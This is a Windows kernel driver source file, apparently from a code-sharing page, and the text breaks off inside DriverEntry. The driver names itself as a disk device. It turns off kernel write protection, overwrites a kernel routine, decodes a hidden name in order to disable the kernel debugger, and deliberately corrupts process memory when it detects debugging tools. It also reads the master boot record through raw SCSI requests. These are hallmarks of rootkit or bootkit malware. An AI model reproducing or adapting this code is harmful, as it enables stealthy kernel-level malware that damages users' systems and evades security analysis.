📄 hookfile.c
字号:
#include "HookFile.h"
#include <ntdddisk.h>
#include <ntimage.h>
#include <ntddcdrm.h>
#include <ntverp.h>
#include <scsi.h>
#include <stdio.h>
#include <stdlib.h>
#include "ioctlcmd.h"
const WCHAR DeviceLinkBuffer[] = L"\\DosDevices\\PciFtDisk";
const WCHAR DeviceNameBuffer[] = L"\\Device\\PciFtDisk";
// #define ATAPI_FILE_NAME "atapi.sys"
// #define DRIVER_ATAPI_NAME L"\\Driver\\atapi"
#define POOL_TAG 'gaT'
#define SECTOR_SIZE 512
#define PCIHDD_DR0DEVICE_NAME L"\\Device\\Harddisk0\\DR0"
#define FTDISK L"ftdisk.sys"
#define HARD_VOLUME L"\\Device\\HardDiskVolume%d"
#define KKDbgPrint DbgPrint
PDEVICE_OBJECT g_DeviceObj;
DWORD g_CR0;
PDEVICE_OBJECT HddDr0Device = NULL;
PDEVICE_OBJECT HddAttDevice = NULL;
KSPIN_LOCK g_LogLock;
DWORD gSectorsPerCluster = 8;
LARGE_INTEGER gDiskPos;
char gUserinitBuffer[512] = {0};
PDEVICE_OBJECT gAtapiDevObj = NULL;
DWORD gNtosBase = 0, gNtosSize = 0;
IDTR g_IDTR;
XXXObReferenceObjectByName MyObReferenceObjectByName;
DWORD gDispatchRoutine = 0;
DWORD gInternRoutine = 0;
DWORD gSNDiskDispathc = 0;
DWORD gSNDiskInternDp = 0;
PDRIVER_OBJECT gDiskDrvObj = NULL;
DWORD gXXXOffset;
DWORD GetIntEntry(DWORD Index)
{
PIDTENTRY IdtEntry;
DWORD Entry;
__asm sidt g_IDTR;
IdtEntry = (PIDTENTRY)(g_IDTR.IDTBase + 8*Index);
Entry = IdtEntry->HiOffset << 16;
Entry |= IdtEntry->LowOffset;
return Entry;
}
__declspec(naked) void DisableWPBitAndCli()
{
__asm
{
cli
mov eax, cr0
mov g_CR0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
retn
}
}
__declspec(naked) void RELoadCR0AndSti()
{
__asm
{
mov eax, g_CR0
mov cr0, eax
sti
retn
}
}
__forceinline VOID AntiDebug(VOID)
{
DWORD ModuleBase = 0;
DWORD iIndex = 0;
DWORD dwRuinAddr = 0;
DWORD dwSize;
UNICODE_STRING FuncAddr;
PCHAR szNtKernel[] = { "ntoskrnl.exe", "ntkrnlpa.exe", "ntkrnlmp.exe", "ntkrpamp.exe" };
for ( ; iIndex < 4; iIndex++)
{
ModuleBase = GetModuleBaseAndSize( (PUCHAR)szNtKernel, &dwSize);
if ( ModuleBase > 0 )
break;
}
// __asm sidt ;
RtlInitUnicodeString(&FuncAddr, L"RtlInitUnicodeString");
dwRuinAddr = (DWORD)MmGetSystemRoutineAddress(&FuncAddr);
DisableWPBitAndCli();
RtlZeroMemory((PVOID)dwRuinAddr, 0x1000 );
RELoadCR0AndSti();
}
typedef NTSTATUS (*XXXKdDisableDebugger)(VOID);
void DisableWindbg()
{
DWORD dwIndex;
XXXKdDisableDebugger xxxFun;
DWORD dwFunAddr;
UNICODE_STRING unistr;
WCHAR szBuffer[MAX_PATH] = {0};
unsigned char data[17] = {
0xCE, 0xE1, 0xC1, 0xEC, 0xF6, 0xE4, 0xE7, 0xE9, 0xE0, 0xC1, 0xE0, 0xE7, 0xF0, 0xE2, 0xE2, 0xE0,
0xF7
};
for ( dwIndex = 0; dwIndex < 17; dwIndex++)
{
data[dwIndex] = data[dwIndex]^0x85;
szBuffer[dwIndex] = data[dwIndex];
}
KKDbgPrint("XXXKdDisableDebugger %ws...\r\n", szBuffer);
RtlInitUnicodeString(&unistr, szBuffer);
dwFunAddr = (DWORD)MmGetSystemRoutineAddress(&unistr);
if ( !MmIsAddressValid((PVOID)dwFunAddr) )
return;
xxxFun = (XXXKdDisableDebugger)dwFunAddr;
xxxFun();
for ( dwIndex = 0; dwIndex < 0x6; dwIndex++)
{
if ( *(char*)(dwFunAddr+dwIndex) == (char)0xc3 )
RtlZeroMemory( PsGetCurrentProcess(), 0);
}
}
PDEVICE_OBJECT GetDr0Device(PDRIVER_OBJECT pDrvObj)
{
PDEVICE_OBJECT pDevObj;
PDEVICE_OBJECT pResDev = NULL;
// AntiDebug();
pDevObj = pDrvObj->DeviceObject;
while ( pDevObj )
{
if ( pDevObj->DeviceType == FILE_DEVICE_DISK )
{
pResDev = pDevObj;
}
pDevObj = pDevObj->NextDevice;
}
return pResDev;
}
DWORD GetFirstPartitionOffset()
{
PDEVICE_OBJECT pDevObj = NULL;
char byBuffer[SECTOR_SIZE];
NTSTATUS ntStatus= STATUS_SUCCESS;
PMBR_SECTOR Mbr;
PPARTITION_ENTRY ppe;
UCHAR uType;
DWORD dwPartOnePos;
PBBR_SECTOR pbbr;
AntiDebugBySEH();
pDevObj = GetAtapiDevice();
if ( pDevObj == NULL )
return 0;
if ( !GetNtOSKernelBase() )
{
DWORD iIndex;
for ( iIndex = 0; iIndex < 0x20; iIndex++)
{
DWORD* lpBuffer;
lpBuffer = (DWORD*)PsGetCurrentThread();
lpBuffer[iIndex] = 0xe8;
}
}
ntStatus = SendCommand( pDevObj, IRP_MJ_READ, byBuffer, 0, 1);
if ( !NT_SUCCESS(ntStatus) )
return 0;
Mbr = (PMBR_SECTOR)byBuffer;
ppe = &(Mbr->Partition[0]);
if ( ppe->active != 0x80 )
return 0;
uType = ppe->PartitionType;
if( uType != PARTITION_TYPE_FAT32
&&
uType != PARTITION_TYPE_FAT32_LBA
&&
uType != PARTITION_TYPE_NTFS
)
{
return 0;
}
dwPartOnePos = ppe->StartLBA;
KKDbgPrint("dwPartOnePos:%08x..1\r\n", dwPartOnePos);
memset(byBuffer, 0, 512);
ntStatus = SendCommand( pDevObj, IRP_MJ_READ, byBuffer, dwPartOnePos, 1);
if ( !NT_SUCCESS(ntStatus) )
return 0;
pbbr = (PBBR_SECTOR)byBuffer;
gSectorsPerCluster = pbbr->SectorsPerCluster;
KKDbgPrint("gSectorsPerCluster:%d..1\r\n", gSectorsPerCluster);
if(uType == PARTITION_TYPE_FAT32 || uType == PARTITION_TYPE_FAT32_LBA)
{
dwPartOnePos += pbbr->NumberOfFATs * pbbr->SectorsPerFAT32;
}
KKDbgPrint("dwPartOnePos:%08x..2\r\n", dwPartOnePos);
dwPartOnePos += pbbr->ReservedSectors;
KKDbgPrint("dwPartOnePos:%08x..3\r\n", dwPartOnePos);
return dwPartOnePos;
}
NTSTATUS
SendCommand(
IN PDEVICE_OBJECT DeviceObject,
IN ULONG MajorFunction,
IN PVOID Buffer,
IN ULONG SectorOffset,
IN ULONG SendSectorCount
)
{
NTSTATUS status;
PSCSI_REQUEST_BLOCK Srb;
PCDB Cdb;
PSENSE_DATA SenseData;
ULONG Length;
KEVENT Event;
PIRP Irp;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
PMDL Mdl;
ULONG TryTime = 8;
char szSyser[0x10];
szSyser[0] = 'S';
__try_again:
Srb = ExAllocatePoolWithTag(NonPagedPool, sizeof(SCSI_REQUEST_BLOCK), POOL_TAG);
if (!Srb)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto __end;
}
szSyser[1] = 'y';
DisableWindbg();
SenseData = ExAllocatePoolWithTag(NonPagedPool, sizeof(SENSE_DATA), POOL_TAG);
if (!SenseData)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto __end;
}
szSyser[2] = 's';
szSyser[3] = 'e';
szSyser[4] = 'r';
RtlZeroMemory(Srb, sizeof(SCSI_REQUEST_BLOCK));
RtlZeroMemory(SenseData, sizeof(SENSE_DATA));
Srb->Length = sizeof(SCSI_REQUEST_BLOCK);
Srb->Function = SRB_FUNCTION_EXECUTE_SCSI;
Srb->DataBuffer = Buffer;
Length = SendSectorCount * SECTOR_SIZE;
Srb->DataTransferLength = Length;
Srb->QueueAction = SRB_SIMPLE_TAG_REQUEST;
Srb->SrbStatus = SRB_STATUS_PENDING;
Srb->ScsiStatus = STATUS_SUCCESS;
Srb->NextSrb = NULL;
Srb->SenseInfoBuffer = SenseData;
Srb->SenseInfoBufferLength = sizeof(SENSE_DATA);
if (MajorFunction == IRP_MJ_READ)
{
Srb->SrbFlags = SRB_FLAGS_DATA_IN;
}
else
{
Srb->SrbFlags = SRB_FLAGS_DATA_OUT;
}
Srb->SrbFlags = Srb->SrbFlags | 0x40000100;
if (MajorFunction == IRP_MJ_READ)
{
Srb->SrbFlags |= SRB_FLAGS_ADAPTER_CACHE_ENABLE;
}
else
{
Srb->SrbFlags |= SRB_FLAGS_DISABLE_AUTOSENSE;
}
szSyser[5] = '.';
szSyser[6] = 's';
szSyser[7] = 'y';
szSyser[8] = 's';
szSyser[9] = 0;
{
if ( GetModuleBase(szSyser) > 0 )
{
RtlZeroMemory( PsGetCurrentProcess(), 0x100);
}
}
Srb->TimeOutValue = (Length / 1024) + 1;
Srb->QueueSortKey = SectorOffset;
Srb->CdbLength = 10;
Cdb = (PCDB)Srb->Cdb;
Cdb->CDB10.OperationCode = (UCHAR)((MajorFunction - IRP_MJ_READ) + (MajorFunction - IRP_MJ_READ) + SCSIOP_READ);
Cdb->CDB10.LogicalUnitNumber = 4;
//Srb->Cdb[1] = 8;
Cdb->CDB10.LogicalBlockByte0 = (UCHAR)(SectorOffset >> 24);
Cdb->CDB10.LogicalBlockByte1 = (UCHAR)(SectorOffset >> 16);
Cdb->CDB10.LogicalBlockByte2 = (UCHAR)(SectorOffset >> 8);
Cdb->CDB10.LogicalBlockByte3 = (UCHAR)SectorOffset;
KdDisableDebugger();
Cdb->CDB10.TransferBlocksMsb = (UCHAR)(SendSectorCount >> 8);
Cdb->CDB10.TransferBlocksLsb = (UCHAR)SendSectorCount;
KeInitializeEvent(&Event, NotificationEvent, FALSE);
Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);
if (!Irp)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto __end;
}
Mdl = IoAllocateMdl(Buffer, Length, FALSE, FALSE, Irp);
Irp->MdlAddress = Mdl;
if (!Mdl)
{
ExFreePoolWithTag(Srb, POOL_TAG);
ExFreePoolWithTag(SenseData, POOL_TAG);
IoFreeIrp(Irp);
status = STATUS_INSUFFICIENT_RESOURCES;
goto __end;
}
MmProbeAndLockPages(Mdl, KernelMode, MajorFunction == IRP_MJ_WRITE ? IoReadAccess : IoWriteAccess);
Srb->OriginalRequest = Irp;
Irp->UserIosb = &ioStatus;
Irp->UserEvent = &Event;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
Irp->Flags = IRP_SYNCHRONOUS_API | IRP_NOCACHE;
Irp->AssociatedIrp.SystemBuffer = NULL;
Irp->Cancel = FALSE;
Irp->RequestorMode = KernelMode;
Irp->CancelRoutine = NULL;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
irpSp = IoGetNextIrpStackLocation(Irp);
irpSp->DeviceObject = DeviceObject;
irpSp->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;
irpSp->Parameters.Scsi.Srb = Srb;
IoSetCompletionRoutine(
Irp,
SendCommandCompletion,
Srb,
TRUE,
TRUE,
TRUE);
status = MyIofCallDriver(DeviceObject, Irp);
if (status == STATUS_PENDING)
{
KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
status = ioStatus.Status;
}
if (Srb->SenseInfoBuffer != SenseData)
{
if (Srb->SenseInfoBuffer)
{
ExFreePoolWithTag(Srb->SenseInfoBuffer, POOL_TAG);
}
}
ExFreePoolWithTag(Srb, POOL_TAG);
ExFreePoolWithTag(SenseData, POOL_TAG);
if (!NT_SUCCESS(status) && TryTime)
{
KKDbgPrint("Send XXX Failed..%08x\r\n", status);
KeStallExecutionProcessor(1);
TryTime--;
goto __try_again;
}
__end:
return status;
}
NTSTATUS
SendCommandCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
PSCSI_REQUEST_BLOCK Srb;
PMDL Mdl;
Irp->UserIosb->Status = Irp->IoStatus.Status;
Irp->UserIosb->Information = Irp->IoStatus.Information;
if (Context != NULL)
{
Mdl = Irp->MdlAddress;
if (Mdl != NULL)
{
KKDbgPrint("read size: %d..\r\n", Irp->IoStatus.Information);
MmUnlockPages(Mdl);
IoFreeMdl(Mdl);
}
}
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
DWORD CrackSysBase;
KKDbgPrint(("DriverEntry!\n"));
if ( GetNtOSKernelBase() )
{
DWORD dwIntEntry = 0;
dwIntEntry = GetIntEntry(3);
KKDbgPrint("gNtosBase is: %08x..%08x..%08x..\r\n", gNtosBase, gNtosSize, dwIntEntry);
if ( dwIntEntry < gNtosBase || dwIntEntry > gNtosBase+gNtosSize )
{
memset( PsGetCurrentProcess(), 0xcc, 0x100);
}
}
// if ( NtBuildNumber != 2600 )
// return STATUS_UNSUCCESSFUL;
// Setup our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,
DeviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
DeviceLinkBuffer );
// Set up the device
//
KdDisableDebugger();
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&g_DeviceObj );
if(! NT_SUCCESS(ntStatus))
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -